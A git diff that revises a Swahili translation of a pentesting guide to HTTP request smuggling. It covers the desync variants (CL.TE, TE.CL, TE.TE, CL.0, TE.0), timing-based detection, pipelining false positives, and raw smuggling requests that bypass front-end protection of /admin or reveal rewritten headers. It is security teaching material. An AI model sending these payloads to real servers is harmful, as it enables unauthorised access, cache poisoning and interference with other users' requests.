Translated ['src/pentesting-web/http-request-smuggling/README.md'] to sw

2025-10-10 18:36:50 +00:00 · 2025-08-20 19:28:48 +00:00 · 2025-08-20 19:28:48 +00:00 · c8946057bd
commit c8946057bd
parent bbd7639af2
1 changed files with 82 additions and 82 deletions
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -4,7 +4,7 @@

 ## What is

-Ushahidi huu hutokea wakati **desyncronization** kati ya **front-end proxies** na **back-end** server inaruhusu **mshambuliaji** **kutuma** HTTP **ombio** ambalo litatafsiriwa kama **ombio moja** na **front-end** proxies (load balance/reverse-proxy) na **kama ombi 2** na **back-end** server.\
+Ushahidi huu hutokea wakati **desyncronization** kati ya **front-end proxies** na **back-end** server inaruhusu **mshambuliaji** **kutuma** HTTP **request** ambayo itatafsiriwa kama **ombile moja** na **front-end** proxies (load balance/reverse-proxy) na **kama ombi 2** na **back-end** server.\
 Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa back-end server baada ya lake**.

 ### Theory
@ -15,32 +15,32 @@ Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa back-end se

 **Content-Length**

-> Kichwa cha Content-Length kinadhihirisha ukubwa wa mwili wa kitu, kwa bytes, kilichotumwa kwa mpokeaji.
+> Kichwa cha Content-Length kinaonyesha ukubwa wa mwili wa kitu, kwa bytes, kilichotumwa kwa mpokeaji.

 **Transfer-Encoding: chunked**

-> Kichwa cha Transfer-Encoding kinabainisha aina ya usimbuaji inayotumika kwa usalama kuhamasisha mwili wa payload kwa mtumiaji.\
+> Kichwa cha Transfer-Encoding kinaelezea aina ya usimbuaji inayotumika kwa usalama kuhamasisha mwili wa payload kwa mtumiaji.\
 > Chunked inamaanisha kwamba data kubwa inatumwa kwa mfululizo wa vipande.

 ### Reality

-**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** kichwa kingine ikisababisha **desyncronization** kati ya mifumo 2.\
-Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambalo litatafsiriwa na **back-end** server **kama ombi 2 tofauti**. **Hatari** ya mbinu hii inatokana na ukweli kwamba **back-end** server **itaelewa** **ombio la 2 lililoingizwa** kana kwamba **lilitoka kwa mteja anayefuata** na **ombio halisi** la mteja huyo litakuwa **sehemu** ya **ombio lililoingizwa**.
+**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** ile nyingine ikisababisha **desyncronization** kati ya mifumo 2.\
+Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambayo itatafsiriwa na **back-end** server **kama ombi 2 tofauti**. **Hatari** ya mbinu hii inategemea ukweli kwamba **back-end** server **itaelewa** **ombile la 2 lililoingizwa** kana kwamba **lilitoka kwa mteja anayefuata** na **ombile halisi** la mteja huyo litakuwa **sehemu** ya **ombile lililoingizwa**.

 ### Particularities

 Kumbuka kwamba katika HTTP **herufi mpya inaundwa na bytes 2:**

 - **Content-Length**: Kichwa hiki kinatumia **nambari ya desimali** kuonyesha **idadi** ya **bytes** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika herufi ya mwisho, **herufi mpya haitahitajika mwishoni mwa ombi**.
- **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** kwa **herufi mpya** lakini herufi hii mpya **haitahesabiwa** na kiashiria cha urefu. Mbinu hii ya uhamasishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatiwa na herufi 2 mpya**: `0`
- **Connection**: Kulingana na uzoefu wangu, inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la ombi Smuggling.
+- **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** kwa **herufi mpya** lakini herufi hii mpya **haitahesabiwa** na kiashiria cha urefu. Mbinu hii ya uhamasishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatwa na herufi 2 mpya**: `0`
+- **Connection**: Kulingana na uzoefu wangu, inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la HTTP Request Smuggling.

 ## Basic Examples

 > [!TIP]
 > Unapojaribu kutumia hii na Burp Suite **zima `Update Content-Length` na `Normalize HTTP/1 line endings`** katika repeater kwa sababu baadhi ya vifaa vinatumia herufi mpya, kurudi kwa gari na maudhui yasiyo sahihi.

-Mashambulizi ya HTTP request smuggling yanatengenezwa kwa kutuma maombi yasiyo na uwazi yanayatumia tofauti katika jinsi front-end na back-end servers zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulizi haya yanaweza kuonekana katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi front-end na back-end servers zinavyopendelea vichwa hivi. Uthibitisho unatokana na servers kusindika ombi moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na yanaweza kuwa ya uhalifu.
+Mashambulizi ya HTTP request smuggling yanatengenezwa kwa kutuma maombi yasiyo na uwazi ambayo yanatumia tofauti katika jinsi front-end na back-end servers zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulizi haya yanaweza kuonekana katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi front-end na back-end servers zinavyopendelea vichwa hivi. Uthibitisho unatokea kutokana na servers kusindika ombi moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na yanaweza kuwa ya uhalifu.

 ### Basic Examples of Vulnerability Types

@ -53,12 +53,12 @@ Mashambulizi ya HTTP request smuggling yanatengenezwa kwa kutuma maombi yasiyo n

 - **Front-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
 - **Back-End (TE):** Inasindika ombi kulingana na kichwa cha `Transfer-Encoding`.
- **Attack Scenario:**
+- **Kesi ya Shambulio:**

 - Mshambuliaji anatumia ombi ambapo thamani ya kichwa cha `Content-Length` haifanani na urefu halisi wa maudhui.
 - Server ya front-end inapeleka ombi lote kwa back-end, kulingana na thamani ya `Content-Length`.
 - Server ya back-end inasindika ombi kama kipande kutokana na kichwa cha `Transfer-Encoding: chunked`, ikitafsiri data iliyobaki kama ombi tofauti, linalofuata.
- **Example:**
+- **Mfano:**

 ```
 POST / HTTP/1.1
@ -77,12 +77,12 @@ Foo: x

 - **Front-End (TE):** Inasindika ombi kulingana na kichwa cha `Transfer-Encoding`.
 - **Back-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
- **Attack Scenario:**
+- **Kesi ya Shambulio:**

 - Mshambuliaji anatumia ombi la kipande ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havifanani.
 - Server ya front-end, ikiheshimu `Transfer-Encoding`, inapeleka ombi lote kwa back-end.
- Server ya back-end, ikiheshimu `Content-Length`, inasindika tu sehemu ya awali ya ombi (`7b` bytes), ikiacha yaliyobaki kama sehemu ya ombi linalofuata ambalo halikusudiwa.
- **Example:**
+- Server ya back-end, ikiheshimu `Content-Length`, inasindika tu sehemu ya awali ya ombi (`7b` bytes), ikiacha iliyobaki kama sehemu ya ombi linalofuata lisilotarajiwa.
+- **Mfano:**

 ```
 POST / HTTP/1.1
@ -105,12 +105,12 @@ x=
 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

 - **Servers:** Zote zinasaidia `Transfer-Encoding`, lakini moja inaweza kudanganywa kuipuuza kupitia obfuscation.
- **Attack Scenario:**
+- **Kesi ya Shambulio:**

 - Mshambuliaji anatumia ombi lenye vichwa vya `Transfer-Encoding` vilivyofichwa.
- Kulingana na ni server ipi (front-end au back-end) inashindwa kutambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
+- Kulingana na server ipi (front-end au back-end) inashindwa kutambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
 - Sehemu isiyosindikwa ya ombi, kama inavyoonekana na moja ya servers, inakuwa sehemu ya ombi linalofuata, ikisababisha smuggling.
- **Example:**
+- **Mfano:**

 ```
 POST / HTTP/1.1
@ -131,9 +131,9 @@ Transfer-Encoding

 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**

- Servers zote zinashughulikia ombi kulingana na kichwa cha `Content-Length` pekee.
- Hali hii kwa kawaida haipelekei smuggling, kwani kuna ulinganifu katika jinsi servers zote zinavyotafsiri urefu wa ombi.
- **Example:**
+- Zote servers zinashughulikia ombi kulingana na kichwa cha `Content-Length` pekee.
+- Kesi hii kwa kawaida haipelekei smuggling, kwani kuna ulinganifu katika jinsi servers zote zinavyotafsiri urefu wa ombi.
+- **Mfano:**

 ```
 POST / HTTP/1.1
@ -146,9 +146,9 @@ Normal Request

 #### **CL.0 Scenario**

- Inarejelea hali ambapo kichwa cha `Content-Length` kinapatikana na kina thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakichambua.
+- Inarejelea hali ambapo kichwa cha `Content-Length` kiko na thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakisoma.
 - Ni muhimu katika kuelewa na kutengeneza mashambulizi ya smuggling, kwani inaathiri jinsi servers zinavyotambua mwisho wa ombi.
- **Example:**
+- **Mfano:**

 ```
 POST / HTTP/1.1
@ -161,9 +161,9 @@ Non-Empty Body

 #### TE.0 Scenario

- Kama ile ya awali lakini ikitumia TE
+- Kama ile ya awali lakini ikitumia TE.
 - Mbinu [iliyorekodiwa hapa](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
+- **Mfano:**
 ```
 OPTIONS / HTTP/1.1
 Host: {HOST}
@ -185,7 +185,7 @@ EMPTY_LINE_HERE

 Teknolojia hii pia ni muhimu katika hali ambapo inawezekana **kuvunja seva ya wavuti wakati wa kusoma data ya awali ya HTTP** lakini **bila kufunga muunganisho**. Kwa njia hii, **mwili** wa ombi la HTTP utaonekana kama **ombio la HTTP linalofuata**.

-Kwa mfano, kama ilivyoelezwa katika [**hati hii**](https://mizu.re/post/twisty-python), Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya **Unicode** wahusika na itafanya seva **ivunjike**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombio la HTTP linalofuata**.
+Kwa mfano, kama ilivyoelezwa katika [**hiki andiko**](https://mizu.re/post/twisty-python), Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya **Unicode** wahusika na itafanya seva **ivunjike**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombio la HTTP linalofuata**.

 #### Kulazimisha kupitia vichwa vya hop-by-hop

@ -207,7 +207,7 @@ Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kut

 - **Mbinu:**

- Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
+- Tuma ombi ambalo, ikiwa programu ina udhaifu, litafanya seva ya nyuma kusubiri data zaidi.
 - **Mfano:**

 ```
@ -223,10 +223,10 @@ A
 ```

 - **Uangalizi:**
- Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na inakata ujumbe mapema.
+- Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na kukata ujumbe mapema.
 - Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haitafika, na kusababisha kuchelewesha.

- **Dalili:**
+- **Viashiria:**
 - Timeout au ucheleweshaji mrefu katika majibu.
 - Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, wakati mwingine ikiwa na maelezo ya kina ya seva.

@ -234,7 +234,7 @@ A

 - **Mbinu:**

- Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
+- Tuma ombi ambalo, ikiwa programu ina udhaifu, litafanya seva ya nyuma kusubiri data zaidi.
 - **Mfano:**

 ```
@ -272,18 +272,18 @@ Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa m
 Wakati wa kupima udhaifu wa request smuggling kwa kuingilia maombi mengine, kumbuka:

 - **Mawasiliano Mbalimbali ya Mtandao:** Maombi ya "shambulio" na "ya kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia muunganisho mmoja kwa yote mawili hakuthibitishi uwepo wa udhaifu.
- **URL na Vigezo Vinavyofanana:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunapanua uwezekano wa maombi yote mawili kushughulikiwa na seva ile ile, ambayo ni sharti la shambulio lililofanikiwa.
- **Wakati na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
- **Changamoto za Usambazaji wa Mizigo:** Seva za mbele zinazofanya kazi kama wasambazaji wa mizigo zinaweza kugawa maombi kati ya mifumo mbalimbali ya nyuma. Ikiwa maombi ya "shambulio" na "ya kawaida" yanakutana kwenye mifumo tofauti, shambulio halitafanikiwa. Kipengele hiki cha usambazaji wa mizigo kinaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
+- **URL na Vigezo Vikali:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunapanua uwezekano wa maombi yote mawili kushughulikiwa na seva ile ile, ambayo ni sharti la shambulio lililofanikiwa.
+- **Wakati na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kati kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
+- **Changamoto za Usambazaji wa Mizigo:** Seva za mbele zinazofanya kazi kama wasambazaji wa mizigo zinaweza kugawa maombi kati ya mifumo mbalimbali ya nyuma. Ikiwa maombi ya "shambulio" na "ya kawaida" yanakutana kwenye mifumo tofauti, shambulio halitafanikiwa. Hali hii ya usambazaji wa mizigo inaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
 - **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa ajili ya kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Kujaribu mara kwa mara kunaweza kuharibu watumiaji wengine, hivyo inahitajika kuwa na tahadhari.

 ## Kutofautisha kati ya vichwa vya HTTP/1.1 pipelining na udhaifu halisi wa request smuggling

-Kurejea kwa muunganisho (keep-alive) na pipelining kunaweza kwa urahisi kuunda dhana za "smuggling" katika zana za kupima zinazotuma maombi mengi kwenye socket moja. Jifunze kutenganisha vichwa vya upande wa mteja visivyo na madhara kutoka kwa desync halisi ya upande wa seva.
+Kurejesha muunganisho (keep-alive) na pipelining kunaweza kwa urahisi kuunda dhana za "smuggling" katika zana za kupima zinazotuma maombi mengi kwenye socket moja. Jifunze kutenganisha vichwa vya upande wa mteja visivyo na madhara kutoka kwa desync halisi ya upande wa seva.

-### Kwa nini pipelining inazalisha positives za uwongo
+### Kwa nini pipelining inazalisha positives za uwongo za kawaida

-HTTP/1.1 inarejelea muunganisho mmoja wa TCP/TLS na inachanganya maombi na majibu kwenye mtiririko mmoja. Katika pipelining, mteja anatuma maombi mengi mfululizo na kutegemea majibu kwa mpangilio. Positive ya kawaida ya uwongo ni kurudisha payload isiyo sahihi ya mtindo wa CL.0 mara mbili kwenye muunganisho mmoja:
+HTTP/1.1 inarejesha muunganisho mmoja wa TCP/TLS na kuunganisha maombi na majibu kwenye mtiririko mmoja. Katika pipelining, mteja anatuma maombi mengi mfululizo na kutegemea majibu kwa mpangilio. Positive ya kawaida ya uwongo ni kurudisha payload isiyo sahihi ya mtindo wa CL.0 mara mbili kwenye muunganisho mmoja:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -306,7 +306,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Ikiwa seva ilipuuzia `Content_Length` isiyo sahihi, hakuna FE↔BE desync. Kwa kutumia tena, mteja wako kwa kweli alituma mtiririko huu wa byte, ambao seva ilichambua kama maombi mawili huru:
+Ikiwa seva ilipuuzilia mbali `Content_Length` isiyo sahihi, hakuna FE↔BE desync. Kwa kutumia tena, mteja wako kwa kweli alituma mtiririko huu wa byte, ambao seva ilichambua kama maombi mawili huru:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -330,32 +330,32 @@ Impact: hakuna. Umeondoa ushirikiano wa mteja wako kutoka kwa muundo wa seva.
 1. Zima matumizi ya kurudi na upime tena
 - Katika Burp Intruder/Repeater, zima HTTP/1 reuse na epuka "Send group in sequence".
 - Katika Turbo Intruder, weka `requestsPerConnection=1` na `pipeline=False`.
- Ikiwa tabia inatoweka, ilikuwa labda kupitisha upande wa mteja, isipokuwa unashughulika na malengo yaliyofungwa kwenye muunganisho/yanayohusiana au desync upande wa mteja.
-2. Kagua jibu lililo ndani la HTTP/2
- Tuma ombi la HTTP/2. Ikiwa mwili wa jibu una jibu kamili la ndani la HTTP/1, umethibitisha hitilafu ya uchambuzi/desync ya nyuma badala ya kipande safi cha mteja.
-3. Uchunguzi wa ombi la sehemu kwa mbele zilizofungwa kwenye muunganisho
+- Ikiwa tabia inatoweka, ilikuwa labda kupitisha upande wa mteja, isipokuwa unashughulika na malengo yaliyofungwa/mali ya hali au desync upande wa mteja.
+2. Ukaguzi wa majibu ya ndani ya HTTP/2
+- Tuma ombi la HTTP/2. Ikiwa mwili wa jibu una majibu kamili ya ndani ya HTTP/1, umethibitisha hitilafu ya uchambuzi/desync ya nyuma badala ya kipande safi cha mteja.
+3. Uchunguzi wa ombi la sehemu kwa mbele zilizofungwa
 - Baadhi ya FEs hutumia tena muunganisho wa BE wa juu tu ikiwa mteja alitumia tena wao. Tumia ombi la sehemu kugundua tabia ya FE inayofanana na matumizi ya mteja.
- Tazama PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya kufungwa kwa muunganisho.
+- Tazama PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya muunganisho uliofungwa.
 4. Uchunguzi wa hali
 - Angalia tofauti za ombi la kwanza na la baadaye kwenye muunganisho mmoja wa TCP (routing/validation ya ombi la kwanza).
 - Burp "HTTP Request Smuggler" inajumuisha uchunguzi wa hali ya muunganisho unaoendesha hii.
 5. Onyesha waya
 - Tumia nyongeza ya Burp "HTTP Hacker" kuchunguza muunganiko na muundo wa ujumbe moja kwa moja wakati wa kujaribu matumizi na maombi ya sehemu.

-### Uhamasishaji wa ombi lililofungwa kwenye muunganisho (inahitaji matumizi ya kurudi)
+### Uhamasishaji wa ombi lililofungwa (inahitaji matumizi)

-Baadhi ya mbele zinaweza kutumia tena muunganisho wa juu tu wakati mteja anatumia tena wao. Uhamasishaji halisi upo lakini unategemea matumizi ya kurudi upande wa mteja. Ili kutofautisha na kuthibitisha athari:
- Thibitisha hitilafu upande wa seva
- Tumia ukaguzi wa jibu lililo ndani la HTTP/2, au
+Baadhi ya mbele zinaweza kutumia tena muunganisho wa juu tu wakati mteja anatumia tena wao. Uhamasishaji wa kweli upo lakini unategemea matumizi ya upande wa mteja. Ili kutofautisha na kuthibitisha athari:
+- Thibitisha hitilafu ya upande wa seva
+- Tumia ukaguzi wa majibu ya ndani ya HTTP/2, au
 - Tumia maombi ya sehemu kuonyesha FE inatumia tena muunganisho wa juu tu wakati mteja anafanya hivyo.
 - Onyesha athari halisi hata kama matumizi ya moja kwa moja ya soketi za mtumiaji tofauti yamezuiwa:
 - Uharibifu wa cache: uharibifu wa caches zilizoshirikiwa kupitia desync ili majibu yaathiri watumiaji wengine.
- Ufunuo wa kichwa cha ndani: rudisha vichwa vilivyowekwa na FE (mfano, vichwa vya uthibitisho/kuamini) na pivot kwa kukwepa uthibitisho.
+- Ufunuo wa kichwa cha ndani: rudi kichwa kilichowekwa na FE (mfano, vichwa vya uthibitisho/kuamini) na pivot kwa kukwepa uthibitisho.
 - Pita udhibiti wa FE: uhamasishaji wa njia/mifumo iliyozuiwa kupita mbele.
 - Ukatili wa kichwa cha mwenyeji: changanya na tabia za routing za mwenyeji ili pivot kwa vhosts za ndani.
 - Mchakato wa operator
- Rudia na matumizi ya kudhibiti (Turbo Intruder `requestsPerConnection=2`, au Burp Repeater tab group → "Send group in sequence (single connection)").
- Kisha ungana na msingi wa uharibifu wa cache/kichwa-leak/kukwepa udhibiti na kuonyesha athari za mtumiaji tofauti au uthibitisho.
+- Rudia na matumizi yaliyodhibitiwa (Turbo Intruder `requestsPerConnection=2`, au Burp Repeater tab group → "Send group in sequence (single connection)").
+- Kisha ungana na msingi wa uharibifu wa cache/kichwa-kupoteza/kukwepa udhibiti na kuonyesha athari za mtumiaji tofauti au uthibitisho.

 > Tazama pia mashambulizi ya hali ya muunganisho, ambayo yana uhusiano wa karibu lakini si uhamasishaji wa kiufundi:
 >
@ -365,31 +365,31 @@ Baadhi ya mbele zinaweza kutumia tena muunganisho wa juu tu wakati mteja anatumi

 ### Vikwazo vya desync upande wa mteja

-Ikiwa unalenga desync inayotokana na kivinjari/upande wa mteja, ombi la uhalifu lazima liweze kutumwa na kivinjari kutoka chanzo tofauti. Hila za kuficha vichwa hazitafanya kazi. Zingatia misingi inayoweza kufikiwa kupitia urambazaji/kuchota, kisha pivot kwa uharibifu wa cache, ufunuo wa kichwa, au kukwepa udhibiti wa mbele ambapo vipengele vya chini vinareflect au kuhifadhi majibu.
+Ikiwa unalenga desync inayotolewa na kivinjari/upande wa mteja, ombi la uhalifu lazima liweze kutumwa na kivinjari kutoka chanzo tofauti. Hila za kuficha vichwa hazitafanya kazi. Lenga kwenye misingi inayoweza kufikiwa kupitia urambazaji/kuchota, kisha pivot kwa uharibifu wa cache, ufunuo wa kichwa, au kukwepa udhibiti wa mbele ambapo vipengele vya chini vinarejelea au kuhifadhi majibu.

 Kwa maelezo ya nyuma na michakato ya mwisho hadi mwisho:

 {{#ref}}
-browser-http-request-smuggling.md
+browser-http-request-smuggling.md
 {{#endref}}

 ### Zana za kusaidia kuamua

 - HTTP Hacker (Burp BApp Store): inafichua tabia ya chini ya HTTP na muunganiko wa soketi.
 - "Uhamasishaji au kupitisha?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: udhibiti sahihi juu ya matumizi ya kurudi kupitia `requestsPerConnection`.
+- Turbo Intruder: udhibiti sahihi juu ya matumizi ya muunganisho kupitia `requestsPerConnection`.
 - Burp HTTP Request Smuggler: inajumuisha uchunguzi wa hali ya muunganisho ili kugundua routing/validation ya ombi la kwanza.

 > [!NOTE]
-> Chukulia athari za matumizi ya kurudi pekee kama si masuala isipokuwa unaweza kuthibitisha desync upande wa seva na kuambatanisha athari halisi (kipande cha cache kilichoharibiwa, kichwa cha ndani kilichovuja kinachowezesha kukwepa mamlaka, udhibiti wa FE ulioepukwa, nk).
+> Chukulia athari za matumizi pekee kama si masuala isipokuwa unaweza kuthibitisha desync ya upande wa seva na kuambatanisha athari halisi (kipande cha cache kilichoharibiwa, kichwa cha ndani kilichovuja kinachowezesha kukwepa mamlaka, udhibiti wa FE ulioepukwa, nk).

-## Kutumia Uhamasishaji wa Ombi la HTTP
+## Kutumia Uhamasishaji wa HTTP Request

-### Kupita Udhibiti wa Usalama wa Mbele kupitia Uhamasishaji wa Ombi la HTTP
+### Kupita Udhibiti wa Usalama wa Mbele kupitia Uhamasishaji wa HTTP Request

-Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia Uhamasishaji wa Ombi la HTTP, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kupuuzia maombi yaliyojumuishwa ndani ya ombi la HTTP lililohamishwa, ikiacha pengo la kukwepa vizuizi hivi.
+Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia Uhamasishaji wa HTTP Request, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kupuuza kuchunguza maombi yaliyojumuishwa ndani ya ombi la HTTP lililohamishwa, ikiacha pengo la kukwepa vizuizi hivi.

-Fikiria mifano ifuatayo inayoonyesha jinsi Uhamasishaji wa Ombi la HTTP unaweza kutumika kukwepa udhibiti wa usalama wa mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele:
+Fikiria mifano ifuatayo inayoonyesha jinsi Uhamasishaji wa HTTP Request unaweza kutumika kukwepa udhibiti wa usalama wa mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele:

 **Mfano wa CL.TE**
 ```
@ -408,7 +408,7 @@ Content-Length: 10

 x=
 ```
-Katika shambulio la CL.TE, kichwa cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililo ndani linatumia kichwa cha `Transfer-Encoding: chunked`. Proxy ya mbele inashughulikia ombi la awali la `POST` lakini inashindwa kukagua ombi lililo ndani la `GET /admin`, ikiruhusu ufikiaji usioidhinishwa wa njia ya `/admin`.
+Katika shambulio la CL.TE, kichwa cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililo ndani linatumia kichwa cha `Transfer-Encoding: chunked`. Proxy ya mbele inashughulikia ombi la awali la `POST` lakini inashindwa kukagua ombi lililo ndani la `GET /admin`, ikiruhusu ufikiaji usioidhinishwa kwa njia ya `/admin`.

 **TE.CL Mfano**
 ```
@ -426,11 +426,11 @@ a=x
 0

 ```
-Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililoingizwa linasindika kulingana na kichwa cha `Content-Length`. Kama ilivyo katika shambulio la CL.TE, proxy ya mbele inapuuzilia mbali ombi la smuggled `GET /admin`, bila kukusudia ikitoa ufikiaji kwa njia iliyo na vizuizi ya `/admin`.
+Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililoingizwa linalindwa kulingana na kichwa cha `Content-Length`. Kama ilivyo katika shambulio la CL.TE, proxy ya mbele inapuuzilia mbali ombi la smuggled `GET /admin`, bila kukusudia ikitoa ufikiaji kwa njia iliyo na vizuizi ya `/admin`.

 ### Kufichua uandishi wa ombi la mbele <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

-Programu mara nyingi hutumia **seva ya mbele** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Marekebisho ya kawaida yanajumuisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, ili kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani kunaweza kufichua njia za **kuepuka ulinzi** au **kufichua taarifa au maeneo yaliyofichwa**.
+Programu mara nyingi hutumia **seva ya mbele** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Marekebisho ya kawaida yanajumuisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, ili kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani kunaweza kufichua njia za **kuzidi ulinzi** au **kufichua taarifa au maeneo yaliyofichwa**.

 Ili kuchunguza jinsi proxy inavyobadilisha ombi, pata parameter ya POST ambayo seva ya nyuma inarudisha katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, kama ifuatavyo:
 ```
@ -449,17 +449,17 @@ Content-Length: 100

 search=
 ```
-Katika muundo huu, vipengele vya ombi vinavyofuata vinajumuishwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi vinavyofuata.
